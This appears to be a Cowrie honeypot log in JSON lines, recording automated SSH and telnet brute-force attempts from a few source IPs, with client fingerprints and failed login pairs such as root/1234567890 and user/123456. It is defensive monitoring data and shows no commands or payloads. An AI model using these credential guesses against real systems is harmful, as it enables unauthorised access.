{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:49.055973Z","src_ip":"176.65.132.129","session":"d0fcba5dc5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:50.141120Z","src_ip":"176.65.132.129","session":"d0fcba5dc5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34520,"dst_ip":"159.203.135.109","dst_port":22,"session":"785f6fce7f3a","protocol":"ssh","message":"New connection: 176.65.132.129:34520 (159.203.135.109:22) [session: 785f6fce7f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:51.956423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:51.965363Z","src_ip":"176.65.132.129","session":"785f6fce7f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:52.048748Z","src_ip":"176.65.132.129","session":"785f6fce7f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:52.295738Z","src_ip":"176.65.132.129","session":"785f6fce7f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46144,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca0ca7cbbf14","protocol":"telnet","message":"New connection: 152.42.224.71:46144 (10.17.0.5:23) [session: ca0ca7cbbf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:53.379236Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:53.472608Z","src_ip":"176.65.132.129","session":"785f6fce7f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119805335999,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:53.789565Z","src_ip":"152.42.224.71","session":"b0675ad35a5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34548,"dst_ip":"159.203.135.109","dst_port":22,"session":"197b7662363d","protocol":"ssh","message":"New connection: 176.65.132.129:34548 (159.203.135.109:22) [session: 197b7662363d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:55.090876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:55.095918Z","src_ip":"176.65.132.129","session":"197b7662363d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:55.189142Z","src_ip":"176.65.132.129","session":"197b7662363d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:55.440664Z","src_ip":"176.65.132.129","session":"197b7662363d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:56.526818Z","src_ip":"176.65.132.129","session":"197b7662363d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55890,"dst_ip":"159.203.135.109","dst_port":22,"session":"051ed529d15f","protocol":"ssh","message":"New connection: 176.65.132.129:55890 (159.203.135.109:22) [session: 051ed529d15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:58.330865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:58.335832Z","src_ip":"176.65.132.129","session":"051ed529d15f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:58.420762Z","src_ip":"176.65.132.129","session":"051ed529d15f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:58.839663Z","src_ip":"176.65.132.129","session":"051ed529d15f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:59.924969Z","src_ip":"176.65.132.129","session":"051ed529d15f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55898,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ad506583a73","protocol":"ssh","message":"New connection: 176.65.132.129:55898 (159.203.135.109:22) [session: 8ad506583a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:01.646844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:01.652487Z","src_ip":"176.65.132.129","session":"8ad506583a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:01.736872Z","src_ip":"176.65.132.129","session":"8ad506583a73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:01.988782Z","src_ip":"176.65.132.129","session":"8ad506583a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:03.112695Z","src_ip":"176.65.132.129","session":"8ad506583a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55916,"dst_ip":"159.203.135.109","dst_port":22,"session":"b197af35a79b","protocol":"ssh","message":"New connection: 176.65.132.129:55916 (159.203.135.109:22) [session: b197af35a79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:04.928663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:04.936783Z","src_ip":"176.65.132.129","session":"b197af35a79b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:05.020079Z","src_ip":"176.65.132.129","session":"b197af35a79b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:05.273765Z","src_ip":"176.65.132.129","session":"b197af35a79b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43052,"dst_ip":"10.17.0.5","dst_port":23,"session":"c877c5dfd30d","protocol":"telnet","message":"New connection: 152.42.224.71:43052 (10.17.0.5:23) [session: c877c5dfd30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:06.135559Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:06.360485Z","src_ip":"176.65.132.129","session":"b197af35a79b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53778,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a3732c0c7b","protocol":"ssh","message":"New connection: 176.65.132.129:53778 (159.203.135.109:22) [session: 70a3732c0c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:08.207185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:08.216352Z","src_ip":"176.65.132.129","session":"70a3732c0c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:08.416488Z","src_ip":"176.65.132.129","session":"70a3732c0c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:08.727764Z","src_ip":"176.65.132.129","session":"70a3732c0c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.38.102","src_port":3754,"dst_ip":"10.17.0.5","dst_port":22,"session":"12c77da48fd8","protocol":"ssh","message":"New connection: 62.210.38.102:3754 (10.17.0.5:22) [session: 12c77da48fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:08.813812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:08.818948Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:08.900568Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54218,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d1969ec996","protocol":"ssh","message":"New connection: 80.94.92.184:54218 (10.17.0.5:22) [session: 75d1969ec996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:08.934601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.210770Z","src_ip":"80.94.92.184","session":"75d1969ec996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.215023Z","src_ip":"80.94.92.184","session":"75d1969ec996","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:35:35:d6:5b:53:73:e0:d4:9b:b3:b1:7b:5c:d4:25","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHIzgxixLs/2YS/r45dkdSvhvIidXA8Guc3TL6//BW7H","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8d:35:35:d6:5b:53:73:e0:d4:9b:b3:b1:7b:5c:d4:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.303111Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
